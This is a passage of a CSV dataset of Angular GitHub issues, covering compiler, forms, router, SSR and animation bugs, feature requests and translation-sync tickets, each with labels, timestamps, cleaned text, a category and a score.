- ref... [TRUNCATED]","area: dev-infra,gemini-triaged",2026-03-22 14:31:23+00:00,2026-03-24 19:28:15+00:00,2,"area: dev-infra,gemini-triaged",2.2062,mismatch between skills sh angular developer skill and available skills in angular repository describe the problem that you experienced the angular developer skill listed on skills sh cannot be installed using the skills cli for the angular repository running the documented command results in no matching skills found even though the skill is listed on the website enter the url of the topic with the problem describe what you were looking for in the documentation i was trying to install and use the angular developer skill for the angular repository using the skills cli as described on the skills sh page describe the actions that led you to experience the problem visited the skills sh page for the angular angular developer skill ran the command npx skills add skill angular developer observed the cli output after cloning the repository describe what you want to experience that would fix the problem the cli should successfully find and install the angular developer skill alternatively if the skill is not actually available in the angular repository the documentation or skills sh listing should be updated to reflect the correct available skills add a screenshot if that helps illustrate the problem no response if this problem caused an exception or error please paste it here true no matching skills found for angular developer available skills adev writing guide pr review reference compiler cli ref truncated,others,-0.8779
angular/angular,4113150174,SSR default cache strategy may cause ChunkLoadError after deployment,"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

### Is this a feature request?

Yes

---

### Description

In SSR Angular applications, a common production issue happens after deploying a new version:

Users who still have a previous version loaded in the browser may encounter a ChunkLoadError when navigating, due to stale HTML referencing outdated hashed bundles.

This typically happens because the server returns HTML that is cached or reused, while the underlying JS chunks have changed.

This is not a bug in Angular itself, but rather a missing default or guidance regarding cache strategy for SSR HTML responses.

---

### Current behavior

- Angular SSR does not define any default cache headers for HTML responses
- Developers must manually configure cache headers
- If misconfigured, this can lead to:
  - ChunkLoadError
  - blank screens
  - broken navigation after deployment

---

### Expected behavior

""Angular SSR could provide a safer default or guidance for HTML caching strategy.

For example:

- Set `Cache-Control: no-cache, no-store, must-revalidate` by default for SSR HTML responses

OR

- Clearly document recommended cache strategies for SSR applications

---

### Why this matters

- This issue is very common in real-world production environments
- It affects application stability after deployments
- It is difficult to diagnose, especially for less experienced developers
- The fix is simple but not obviou... [TRUNCATED]","area: server,gemini-triaged",2026-03-21 17:38:53+00:00,2026-04-02 13:50:38+00:00,3,"area: server,gemini-triaged",11.8415,ssr default cache strategy may cause chunkloaderror after deployment which angular package s are relevant related to the feature request no response description is this a feature request yes description in ssr angular applications a common production issue happens after deploying a new version users who still have a previous version loaded in the browser may encounter a chunkloaderror when navigating due to stale html referencing outdated hashed bundles this typically happens because the server returns html that is cached or reused while the underlying js chunks have changed this is not a bug in angular itself but rather a missing default or guidance regarding cache strategy for ssr html responses current behavior angular ssr does not define any default cache headers for html responses developers must manually configure cache headers if misconfigured this can lead to chunkloaderror blank screens broken navigation after deployment angular ssr could provide a safer default or guidance for html caching strategy for example set by default for ssr html responses or clearly document recommended cache strategies for ssr applications why this matters this issue is very common in real world production environments it affects application stability after deployments it is difficult to diagnose especially for less experienced developers the fix is simple but not obviou truncated,bug,0.5687
angular/angular,4106734831,Signal froms: Custom form schema metadata behaviour,"### Which @angular/* package(s) are relevant/related to the feature request?

forms

### Description

I like how the configuration of validators for a signal form field works with the declarative approach by adding to a fields metadata.
In fact, I would like this for my own purpose.

I am currently implementing a ""queryParameterSync"" metadata definition for a form field. e,g, ` querySync(schemaPath.search, stringQuerySerializer.primitive)`
Which will define that this field should be synced with url query parameters. This is useful for filter forms to have a shareable link.
```ts
export const QUERY_PARAM_SYNC_SERIALIZER =
  createMetadataKey<[BaseQueryParamSerializer, string | undefined]>();

export function querySync<TValue, TPathKind extends PathKind = PathKind.Root>(
  path: SchemaPath<TValue, SchemaPathRules.Supported, TPathKind>,
  serializer: BaseQueryParamSerializer,
  queryParamName?: string,
): void {
  metadata(path, QUERY_PARAM_SYNC_SERIALIZER, () => [
    serializer,
    queryParamName,
  ]);
}
```

Defining my own function that adds the metadata to the form field (`querySync`) is no problem. Also I have it working from end to end.
The only thing that bothers me is one extra step you currently have to take when using a custom form field metadata to add behavior to it. You have to make a separate call to look for fields having a certain metadata key and act on them.

``` ts
// register call
const myForm = form(model, (schemaPath) => {
        required(schemaPath.sea... [TRUNCATED]","area: forms,forms: signals,gemini-triaged",2026-03-20 09:08:15+00:00,2026-05-05 17:32:57+00:00,6,"area: forms,forms: signals,gemini-triaged",46.3505,signal froms custom form schema metadata behaviour which angular package s are relevant related to the feature request forms description i like how the configuration of validators for a signal form field works with the declarative approach by adding to a fields metadata in fact i would like this for my own purpose i am currently implementing a queryparametersync metadata definition for a form field e g which will define that this field should be synced with url query parameters this is useful for filter forms to have a shareable link defining my own function that adds the metadata to the form field is no problem also i have it working from end to end the only thing that bothers me is one extra step you currently have to take when using a custom form field metadata to add behavior to it you have to make a separate call to look for fields having a certain metadata key and act on them ts register call const myform form model schemapath required schemapath sea truncated,others,0.5106
angular/angular,4101288335,FormArray.value aggregates values of disabled FormControls,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

Yes

(Not actually sure, but the field is mandatory.)

### Description

The docs for _FormArray_’s [_value_ property](https://angular.dev/api/forms/FormArray#value) says (emphasis mine):

> The current value of the control.
>
> […]
> - For a FormArray, the values of **enabled** controls as an array.

According to that, the following code snippet should log an empty array

```typescript
const formArray = new FormArray([
  new FormControl(1)
])
formArray.disable()
console.log(formArray.value)
```

However, it logs `[1]`.

### Please provide a link to a minimal reproduction of the bug

https://github.com/mwaibel-go/form-array-disabled-value-repro

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.2.3
Angular           : 21.2.5
Node.js           : 24.13.0
Package Manager   : npm 11.11.1
Operating System  : linux x64

┌───────────────────────────┬───────────────────┬───────────────────┐
│ Package                   │ Installed Version │ Requested Version │
├───────────────────────────┼───────────────────┼───────────────────┤
│ @angular/build            │ 21.2.3            │ ^21.2.3           │
│ @angular/cli              │ 21.2.3            │ ^21.2.3           │
│ @angular/common           │ 21.2.5            │ ^21.2.0           │
│ @angular/compiler         │ 21.... [TRUNCATED]","area: forms,area: docs",2026-03-19 12:12:53+00:00,2026-04-03 18:22:35+00:00,6,"area: forms,area: docs",15.2567,formarray value aggregates values of disabled formcontrols which angular package s are the source of the bug forms is this a regression yes not actually sure but the field is mandatory description the docs for formarray s value property says emphasis mine the current value of the control for a formarray the values of enabled controls as an array according to that the following code snippet should log an empty array however it logs please provide a link to a of the bug please provide the exception or error you saw please provide the environment you discovered this bug in run true angular cli angular node js package manager npm linux x package installed version requested version angular build angular cli angular common angular compiler truncated,documentation,0.858
angular/angular,4093123666,Angular does not remove component from the DOM with (animate.leave) hook after list reordering since 21.2,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

Yes

### Description

Please see reproduction link

If element in the list with (animate.leave) hook was reordered - Angular does not remove them from the DOM 

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/angular-fiddle-gqwykbhz-zvnrytfg

### Please provide the exception or error you saw

```true
No exception
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular/core 21.2.4
```

### Anything else?

Does not reproduces on 21.1 version","area: core,state: has PR,core: animations,gemini-triaged",2026-03-18 06:48:46+00:00,2026-03-19 22:52:00+00:00,5,"area: core,state: has PR,core: animations,gemini-triaged",1.6689,angular does not remove component from the dom with animate leave hook after list reordering since which angular package s are the source of the bug core is this a regression yes description please see if element in the list with animate leave hook was reordered angular does not remove them from the dom please provide a link to a of the bug please provide the exception or error you saw please provide the environment you discovered this bug in run anything else does not reproduces on version,others,-0.3612
angular/angular,4087740573,No error shown for unknown element if equipped with a directive,"### Which @angular/* package(s) are the source of the bug?

compiler

### Is this a regression?

No

### Description

### Problem description:

When component import inside a  standalone component is missing, but an already imported directive is used on the corresponding element the angular compiler does not raise an NG8001: 'app-xyz' is not a known element' error. 

### Steps to reproduce:

1. Open https://stackblitz.com/edit/ccyebka1?file=src%2Fmain.ts
2. Observe `Second` is not imported but used in the template
3. Error is not shown since the `MyDirective` is present on `app-second`
4. Remove `MyDirective` from `app-second` and the error is shown

### Expected behavior:

Compiler should raise the error NG8001 even if the directive on the element is present

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/ccyebka1?file=src%2Fmain.ts

### Please provide the exception or error you saw

```true
No error
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.2.0
Angular           : 21.2.0
Node.js           : 24.13.0
Package Manager   : npm 11.6.2
Operating System  : darwin arm64

┌───────────────────────────────────┬───────────────────┬───────────────────┐
│ Package                           │ Installed Version │ Requested Version │
├───────────────────────────────────┼───────────────────┼───────────────────┤
│ @angular/build                    │ 21.2.0            │ 21.2.0... [TRUNCATED]","area: compiler,gemini-triaged",2026-03-17 10:51:59+00:00,2026-03-17 10:53:59+00:00,2,"area: compiler,gemini-triaged",0.0014,no error shown for unknown element if equipped with a directive which angular package s are the source of the bug compiler is this a regression no description problem description when component import inside a standalone component is missing but an already imported directive is used on the corresponding element the angular compiler does not raise an ng app xyz is not a known element error open observe is not imported but used in the template error is not shown since the is present on remove from and the error is shown compiler should raise the error ng even if the directive on the element is present please provide a link to a of the bug please provide the exception or error you saw please provide the environment you discovered this bug in run true angular cli angular node js package manager npm darwin arm package installed version requested version angular build truncated,bug,-0.9753
angular/angular,4083977851,Empty named outlet behaving differently than not empty outlet,"### Which @angular/* package(s) are the source of the bug?

router

### Is this a regression?

No

### Description

Having multiple routes with an empty path, but with different outlets, throws a NoMatch error while it has a valid route. Having the following routes will produce the error.

```ts
export const ROUTES: Routes = [
  {
    path: '',
    component: AppComponent,
    children: [
      {
        path: '',
        outlet: 'primary',
        component: PrimaryComponent,
        children: [
          {
            path: 'component',
            component: FeatureAComponent
          }
        ]
      },
      {
        path: '',
        outlet: 'secondary',
        component: SecondaryComponent,
        children: [
          {
            path: 'component-copy',
            component: FeatureBComponent
          }
        ]
      }
    ]
  },
];
```

From the example above, a debate could be initiated with the following arguments, making this a non-issue and working by design.

---

**Argument 1:**
- Sibling routes shouldn't have the same path (in this case, an empty path) because the router works with a first win strategy, meaning that the first route to match is the one that is attempted to be activated.

**Counterargument:**
- If both routes have the same path but different outlets, it works. See the app `EquallyNamedOutletsApp` in the minimum reproduction example.

---

**Assumption 2:**
- Empty named outlets with an empty primary outlet are not supported.

**Counte... [TRUNCATED]","area: router,gemini-triaged",2026-03-16 18:02:54+00:00,2026-04-01 09:48:44+00:00,5,"area: router,gemini-triaged",15.6568,empty named outlet behaving differently than not empty outlet which angular package s are the source of the bug router is this a regression no description having multiple routes with an empty path but with different outlets throws a nomatch error while it has a valid route having the following routes will produce the error from the example above a debate could be initiated with the following arguments making this a non issue and working by design argument sibling routes shouldn t have the same path in this case an empty path because the router works with a first win strategy meaning that the first route to match is the one that is attempted to be activated counterargument if both routes have the same path but different outlets it works see the app in the minimum reproduction example assumption empty named outlets with an empty primary outlet are not supported counte truncated,others,-0.9659
angular/angular,4083468639,Angular compiler strips | null from signal input types in partial compilation .d.ts output,"### Which @angular/* package(s) are the source of the bug?

compiler

### Is this a regression?

Yes

### Description

When using input.required<T | null>() or input<T | null>() in a library built with ng-packagr (partial compilation mode), the Angular compiler strips | null from the generated .d.ts files.

Source:
 ```ts
a = input.required<T | null>();
b = input<T | null>();
```

Expected .d.ts (matches plain tsc --emitDeclarationOnly):
 ```ts
a: InputSignal<T | null>;
b: InputSignal<T | null | undefined>;
```

Actual .d.ts from Angular compiler (partial mode):
 ```ts
  a: _angular_core.InputSignal<T>; 
  b: _angular_core.InputSignal<T>;
```

Investigation: 
I intercepted the in-memory .d.ts content from ng-packagr's file cache (before rollup-plugin-dts bundling) and confirmed | null was already missing at that stage. Plain tsc --emitDeclarationOnly on the same source produces correct types.


### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular 21.2.x, ng-packagr 21.2.0, TypeScript 5.9.3
```

### Anything else?

A workaround is to force the type and not rely on type inference.
Example: 
 ```ts
a: InputSignal<T | null> = input<T| null>();
```","needs reproduction,area: compiler,gemini-triaged",2026-03-16 16:18:05+00:00,2026-03-16 19:27:27+00:00,4,"needs reproduction,area: compiler,gemini-triaged",0.1315,angular compiler strips null from signal input types in partial compilation d ts output which angular package s are the source of the bug compiler is this a regression yes description when using input required or input in a library built with ng packagr partial compilation mode the angular compiler strips null from the generated d ts files source expected d ts matches plain tsc emitdeclarationonly actual d ts from angular compiler partial mode investigation i intercepted the in memory d ts content from ng packagr s file cache before rollup plugin dts bundling and confirmed null was already missing at that stage plain tsc emitdeclarationonly on the same source produces correct types please provide a link to a of the bug no response please provide the exception or error you saw please provide the environment you discovered this bug in run anything else a workaround is to force the type and not rely on type inference example,others,-0.7783
angular/angular,4082516764,Signal Forms: Type of FieldState.fieldTree seems wrong?,"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

The type of `FieldState<TValue, TKey>`'s ""fieldTree"" property is `FieldTree<unknown, TKey>`.

This seems like it should be `FieldTree<TValue, TKey>`, and perhaps forgotten (?).

### Proposed solution

```ts
interface FieldState<TValue, TKey extends string | number = string | number> {
    readonly fieldTree: FieldTree<TValue, TKey>;
```

### Alternatives considered

Users could always `(fieldState.fieldTree as FieldTree<MyType, strinh | number>)`, but... Why?","area: forms,gemini-triaged",2026-03-16 13:32:01+00:00,2026-03-16 22:41:52+00:00,3,"area: forms,gemini-triaged",0.3818,signal forms type of fieldstate fieldtree seems wrong which angular package s are relevant related to the feature request no response description the type of s fieldtree property is this seems like it should be and perhaps forgotten proposed solution alternatives considered users could always but why,others,-0.1779
angular/angular,4082100617,Project no longer compiles after upgrading from 21.2.2 to 21.2.3,"### Which @angular/* package(s) are the source of the bug?

compiler-cli

### Is this a regression?

Yes

### Description

After upgrading my project to version 21.2.3, the compilation fails with the following error.

<img width=""1103"" height=""59"" alt=""Image"" src=""https://github.com/user-attachments/assets/bfc2e7b4-b0c7-460d-ba79-b9372bcdec98"" />

After a few minutes of debugging, I concluded it was caused by the K in this generic.
<img width=""989"" height=""159"" alt=""Image"" src=""https://github.com/user-attachments/assets/600706ce-5c17-4888-8397-3d8e9b582c1a"" />

Here are two StackBlitz reproductions with the exact same code:

21.2.2 (working)
https://stackblitz.com/edit/stackblitz-starters-hbe4upra?file=package.json

21.2.3 (broken)
https://stackblitz.com/edit/stackblitz-starters-mtfblaok?file=package.json

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/stackblitz-starters-mtfblaok?file=src%2Fmain.ts

### Please provide the exception or error you saw

```true
✘ [ERROR] Unsupported WrappedNodeExpr in TypeTranslatorVisitor: TypeParameter [plugin angular-compiler]
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI: 21.2.3
Node: 24.14.0
Package Manager: npm 11.9.0
```

### Anything else?

_No response_","area: compiler,gemini-triaged",2026-03-16 12:10:36+00:00,2026-03-17 19:21:29+00:00,27,"area: compiler,gemini-triaged",1.2992,project no longer compiles after upgrading from to which angular package s are the source of the bug compiler cli is this a regression yes description after upgrading my project to version the compilation fails with the following error after a few minutes of debugging i concluded it was caused by the k in this generic here are two stackblitz reproductions with the exact same code working broken please provide a link to a of the bug please provide the exception or error you saw please provide the environment you discovered this bug in run anything else no response,others,-0.9403
angular/angular,4072085993,inject-migration fails if there is a tsconfig.spec.json but no test files,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

No

### Description

The inject-migration (`generate @angular/core:inject`) currently [throws an error if it any of the tsconfig file it discovers do not reference any source files](https://github.com/angular/angular/blob/17d8a88ddcce3f850b8ab72252e05720e1f3a8be/packages/core/schematics/ng-generate/inject-migration/index.ts#L63). As a result, apps that have a test setup but do not have any tests yet cannot run the migration.

The control-flow-migration for instance works differently: [It only logs a warning if it did not find any files in all the tsconfig files combined](https://github.com/angular/angular/blob/17d8a88ddcce3f850b8ab72252e05720e1f3a8be/packages/core/schematics/ng-generate/control-flow-migration/index.ts#L76). I think it would make sense to normalize towards this behavior.

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true
Running: npx @angular/cli@21 generate @angular/core:inject --defaults
Could not find any files to migrate under the path /workdir/client/. Cannot run the inject migration.
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

_No response_","area: migrations,gemini-triaged",2026-03-13 16:19:34+00:00,2026-03-19 01:12:06+00:00,4,"area: migrations,gemini-triaged",5.3698,inject migration fails if there is a tsconfig spec json but no test files which angular package s are the source of the bug core is this a regression no description the inject migration currently throws an error if it any of the tsconfig file it discovers do not reference any source files as a result apps that have a test setup but do not have any tests yet cannot run the migration the control flow migration for instance works differently it only logs a warning if it did not find any files in all the tsconfig files combined i think it would make sense to normalize towards this behavior please provide a link to a of the bug no response please provide the exception or error you saw please provide the environment you discovered this bug in run anything else no response,others,-0.9806
angular/angular,4069284775,double escaped backtick in template literal string in template html  breaks from @angular/ v21.2.2,"### Which @angular/* package(s) are the source of the bug?

compiler

### Is this a regression?

No

### Description

```html
@let versionInfo = `Version: \`${info}\``;
<div>{{ versionInfo }}</div>
```

double escaped backtick in template html cause a error with version `21.2.2` and later but works with version `21.2.1`

the scenario is that I just want to show some markdown string literals in the template html so I have to escape the backtick symbol to make it a code block for markdown

and if I remove the second escaped backtick it works again with version `21.2.2`

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/stackblitz-starters-yviu1qjq

and below is the worked link with the same codes but with version `21.2.1`

https://stackblitz.com/edit/stackblitz-starters-ntqt2vnt

### Please provide the exception or error you saw

```true
TS2304: Cannot find name '_t1'. [plugin angular-compiler]
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.2.2
Angular           : 21.2.2
Node.js           : 22.22.0
Package Manager   : npm 10.8.2
Operating System  : linux x64

┌───────────────────────────┬───────────────────┬───────────────────┐
│ Package                   │ Installed Version │ Requested Version │
├───────────────────────────┼───────────────────┼───────────────────┤
│ @angular/build            │ 21.2.2            │ 21.2.2            │
│ @angular/cli              │ 21.... [TRUNCATED]","area: compiler,gemini-triaged",2026-03-13 06:47:17+00:00,2026-03-16 16:47:28+00:00,2,"area: compiler,gemini-triaged",3.4168,double escaped backtick in template literal string in template html breaks from angular v which angular package s are the source of the bug compiler is this a regression no description double escaped backtick in template html cause a error with version and later but works with version the scenario is that i just want to show some markdown string literals in the template html so i have to escape the backtick symbol to make it a code block for markdown and if i remove the second escaped backtick it works again with version please provide a link to a of the bug and below is the worked link with the same codes but with version please provide the exception or error you saw please provide the environment you discovered this bug in run true angular cli angular node js package manager npm linux x package installed version requested version angular build angular cli truncated,others,-0.7188
angular/angular,4066450554,Mobile layout shift in API Reference,"### Describe the problem that you experienced

On https://angular.dev/api, the filter chips in mobile move too much when toggled, producing a layout shift.

Also, the text input and package select appear to have different width in mobile, which makes the filter controls feel visually misaligned. 

See video


https://github.com/user-attachments/assets/c69fa966-5e27-4e1b-8736-2bc24188959c



We may need to adjust the styles in [`api-reference-list.component.scss`](https://github.com/angular/angular/blob/main/adev/src/app/features/references/api-reference-list/api-reference-list.component.scss) to address this.
 ",area: docs-infra,2026-03-12 18:24:28+00:00,2026-04-13 08:24:42+00:00,2,area: docs-infra,31.5835,mobile layout shift in api reference describe the problem that you experienced on the filter chips in mobile move too much when toggled producing a layout shift also the text input and package select appear to have different width in mobile which makes the filter controls feel visually misaligned see video we may need to adjust the styles in to address this,documentation,-0.4019
angular/angular,4061136827,Scoped Child leave animations,"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

`animate.leave` is strict in that leave animations only happen on the node being removed. No animations are triggered for elements that are children of the node being removed. Many users are confused by this, since it's common to write something like the following:

```
@if (show) {
  <div class=""wrapper-for-flexbox"">
    <div class=""item"" animate.leave=""fade"">...</div>
  </div>
}
```

However this doesn't work, because the `wrapper-for-flexbox` div is the node being removed. It would be nice to have child animations be triggered in this case.

However we don't want every child animation under every node to trigger animations. This is too global and results in a queue of child animations firing on any route navigation. We'll want to scope this behavior, likely to the component template.

### Proposed solution

As mentioned in the description, have child animations fire scoped within the template of the component being removed, and do not cross component boundaries.

### Alternatives considered

Leave the animation behavior as strict as it is.","area: core,state: has PR,core: animations",2026-03-11 22:54:43+00:00,2026-03-13 19:01:58+00:00,2,"area: core,state: has PR,core: animations",1.8384,scoped child leave animations which angular package s are relevant related to the feature request no response description is strict in that leave animations only happen on the node being removed no animations are triggered for elements that are children of the node being removed many users are confused by this since it s common to write something like the following however this doesn t work because the div is the node being removed it would be nice to have child animations be triggered in this case however we don t want every child animation under every node to trigger animations this is too global and results in a queue of child animations firing on any route navigation we ll want to scope this behavior likely to the component template proposed solution as mentioned in the description have child animations fire scoped within the template of the component being removed and do not cross component boundaries alternatives considered leave the animation behavior as strict as it is,others,-0.4404
angular/angular,4060887804,ngclass-to-class migration leaves dangling comma in standalone imports,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

No

### Description

### Problem

The `@angular/core:ngclass-to-class` migration leaves a dangling comma in the component decorator when removing the last element from the `imports` array of a standalone component. For example, a component defined as:

```typescript
@Component({
  ...
  imports: [CommonModule],
})
```

after migration, if `CommonModule` is removed (e.g. no longer needed because ngClass is gone), the result is:

```typescript
@Component({
  ...
  ,
})
```

This is an invalid decorator and breaks formatting and compilation. The bug is caused by incomplete removal of the comma after the property is deleted. See the source: `packages/core/schematics/ng-generate/ngclass-to-class-migration/util.ts`, function `getPropertyRemovalRange`.

### Expected behavior

When the migration removes the last element of the `imports` array, it should remove the entire property and any trailing comma, resulting in:

```typescript
@Component({
  ...
})
```

### Please provide a link to a minimal reproduction of the bug

- Use a standalone component with `imports: [CommonModule],` as the last property
- Run `ng generate @angular/core:ngclass-to-class` to migrate
- Observe the dangling comma in the output

### Please provide the exception or error you saw

```true
None (the output is a syntax error in TypeScript, not a runtime exception)
```

### Please provide the environment you discovered t... [TRUNCATED]","area: core,gemini-triaged",2026-03-11 21:51:46+00:00,2026-03-19 01:09:15+00:00,4,"area: core,gemini-triaged",7.1371,ngclass to class migration leaves dangling comma in standalone imports which angular package s are the source of the bug core is this a regression no description problem the migration leaves a dangling comma in the component decorator when removing the last element from the array of a standalone component for example a component defined as after migration if is removed e g no longer needed because ngclass is gone the result is this is an invalid decorator and breaks formatting and compilation the bug is caused by incomplete removal of the comma after the property is deleted see the source function when the migration removes the last element of the array it should remove the entire property and any trailing comma resulting in please provide a link to a of the bug use a standalone component with as the last property run to migrate observe the dangling comma in the output please provide the exception or error you saw please provide the environment you discovered t truncated,others,-0.9042
angular/angular,4060593781,New routerLink implementation breaks customizations,"### Which @angular/* package(s) are the source of the bug?

core, router

### Is this a regression?

Yes

### Description

I'm unsure on whether to call this a bug, but in case it's not, is there a workaround for this issue I'm getting? 

My company has a multi-tenant product, and all of the urls in our product have an id to identify the customer we have selected. To avoid putting an extra queryParam in every `routerLink`, we created our own `myRouterLink` like this:

```typescript
@Directive({
    selector: ""[myRouterLink]"",
    standalone: false
})
export class MyRouterLinkDirective extends RouterLink {

    @Input()
    set myRouterLink(commands: any[] | string | null | undefined) {
        super.routerLink = commands;
    }

    get urlTree(): UrlTree {
        const { myCustId } = this.activatedRoute.snapshot.queryParams;

        const urlTree = super.urlTree;
        urlTree.queryParams.myCustId = myCustId;
        return urlTree;
    }
}
```

This had been working fine for several versions of Angular, even in Angular 20. But in Angular 21, [this commit](https://github.com/angular/angular/commit/89d47d814de1e57c0b64ff1167ce9f86c518c670) changed the implementation, even though `urlTree` still exists, it is no longer invoked by `onClick`, instead `onClick` invokes `_urlTree` which is marked as `@internal` so Angular's compiler wouldn't let me override it:

## Before
```typescript
  @HostListener('click', [ ... ])
  onClick( ... ): boolean {
    const urlTree = this.urlTr... [TRUNCATED]","area: router,gemini-triaged",2026-03-11 20:49:20+00:00,2026-03-11 22:38:36+00:00,7,"area: router,gemini-triaged",0.0759,new routerlink implementation breaks customizations which angular package s are the source of the bug core router is this a regression yes description i m unsure on whether to call this a bug but in case it s not is there a workaround for this issue i m getting my company has a multi tenant product and all of the urls in our product have an id to identify the customer we have selected to avoid putting an extra queryparam in every we created our own like this this had been working fine for several versions of angular even in angular but in angular this commit changed the implementation even though still exists it is no longer invoked by instead invokes which is marked as so angular s compiler wouldn t let me override it before typescript hostlistener click onclick boolean const urltree this urltr truncated,feature,0.4497
angular/angular,4059031393,Signal Forms: working with arrays not working with ngFor,"### Which @angular/* package(s) are the source of the bug?

forms, common

### Is this a regression?

No

### Description

Having a signal forms with arrays in the model doesn't seems to work with ngFor.

Error in the console: `TypeError: Cannot convert object to primitive value`

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/stackblitz-starters-h5gekyer?description=An%20angular-cli%20project%20based%20on%20@angular/animations,%20@angular/common,%20@angular/compiler,%20@angular/core,%20@angular/forms,%20@angular/platform-browser,%20@angular/platform-browser-dynamic,%20@angular/router,%20core-js,%20rxjs,%20tslib%20and%20zone.js&file=src%2Fmain.ts&template=node&title=Angular%20Starter

### Please provide the exception or error you saw

```true
With ngFor: `TypeError: Cannot convert object to primitive value`

With @for: Working fine.
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.1.0
Angular           : 21.1.0
Node.js           : 20.19.1
Package Manager   : npm 10.8.2
Operating System  : linux x64

┌───────────────────────────┬───────────────────┬───────────────────┐
│ Package                   │ Installed Version │ Requested Version │
├───────────────────────────┼───────────────────┼───────────────────┤
│ @angular/build            │ 21.1.0            │ ^21.1.0           │
│ @angular/cli              │ 21.1.0            │ ^21.1.0           │
│ @angular/common    ... [TRUNCATED]","area: forms,gemini-triaged",2026-03-11 15:46:17+00:00,2026-03-11 16:15:08+00:00,3,"area: forms,gemini-triaged",0.02,signal forms working with arrays not working with ngfor which angular package s are the source of the bug forms common is this a regression no description having a signal forms with arrays in the model doesn t seems to work with ngfor error in the console please provide a link to a of the bug please provide the exception or error you saw please provide the environment you discovered this bug in run true angular cli angular node js package manager npm linux x package installed version requested version angular build angular cli angular common truncated,others,-0.8176
angular/angular,4058732149,🔄 Translation 21.0.3: `adev/shared-docs/interfaces/algolia-config.ts`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/interfaces/algolia-config.ts),"area: i18n,gemini-triaged",2026-03-11 14:55:21+00:00,2026-03-11 14:56:28+00:00,1,"area: i18n,gemini-triaged",0.0008,translation initial sync for release this file needs to be translated n n view file on github,documentation,0.0
angular/angular,4058731802,🔄 Translation 21.0.3: `adev/shared-docs/directives/search-item/search-item.directive.ts`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/directives/search-item/search-item.directive.ts),"area: i18n,gemini-triaged",2026-03-11 14:55:19+00:00,2026-03-11 14:56:40+00:00,1,"area: i18n,gemini-triaged",0.0009,translation initial sync for release this file needs to be translated n n view file on github,documentation,0.0
angular/angular,4058731676,🔄 Translation 21.0.3: `adev/shared-docs/directives/index.ts`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/directives/index.ts),"area: i18n,gemini-triaged",2026-03-11 14:55:18+00:00,2026-03-11 14:56:42+00:00,1,"area: i18n,gemini-triaged",0.001,translation initial sync for release this file needs to be translated n n view file on github,documentation,0.0
angular/angular,4058731543,🔄 Translation 21.0.3: `adev/shared-docs/directives/external-link/external-link.directive.ts`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/directives/external-link/external-link.directive.ts),"area: i18n,gemini-triaged",2026-03-11 14:55:16+00:00,2026-03-11 14:57:06+00:00,1,"area: i18n,gemini-triaged",0.0013,translation initial sync for release this file needs to be translated n n view file on github,documentation,0.0
angular/angular,4058731402,🔄 Translation 21.0.3: `adev/shared-docs/directives/click-outside/click-outside.directive.ts`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/directives/click-outside/click-outside.directive.ts),"area: i18n,gemini-triaged",2026-03-11 14:55:14+00:00,2026-03-11 14:57:04+00:00,1,"area: i18n,gemini-triaged",0.0013,translation initial sync for release this file needs to be translated n n view file on github,documentation,0.0
angular/angular,4058731093,🔄 Translation 21.0.3: `adev/shared-docs/components/viewers/example-viewer/example-viewer.component.ts`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/viewers/example-viewer/example-viewer.component.ts),"area: i18n,gemini-triaged",2026-03-11 14:55:13+00:00,2026-03-11 14:57:02+00:00,1,"area: i18n,gemini-triaged",0.0013,translation initial sync for release this file needs to be translated n n view file on github,documentation,0.0
angular/angular,4058730953,🔄 Translation 21.0.3: `adev/shared-docs/components/viewers/example-viewer/example-viewer.component.html`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/viewers/example-viewer/example-viewer.component.html),"area: i18n,gemini-triaged",2026-03-11 14:55:11+00:00,2026-03-11 14:57:01+00:00,1,"area: i18n,gemini-triaged",0.0013,translation initial sync for release this file needs to be translated n n view file on github,documentation,0.0
angular/angular,4058730825,🔄 Translation 21.0.3: `adev/shared-docs/components/viewers/docs-viewer/docs-viewer.component.ts`,Initial sync for release **21.0.3**. This file needs to be translated.\n\n[View file on GitHub](https://github.com/angular/angular/blob/21.0.3/adev/shared-docs/components/viewers/docs-viewer/docs-viewer.component.ts),"area: i18n,gemini-triaged",2026-03-11 14:55:09+00:00,2026-03-11 14:56:49+00:00,1,"area: i18n,gemini-triaged",0.0012,translation initial sync for release this file needs to be translated n n view file on github,documentation,0.0
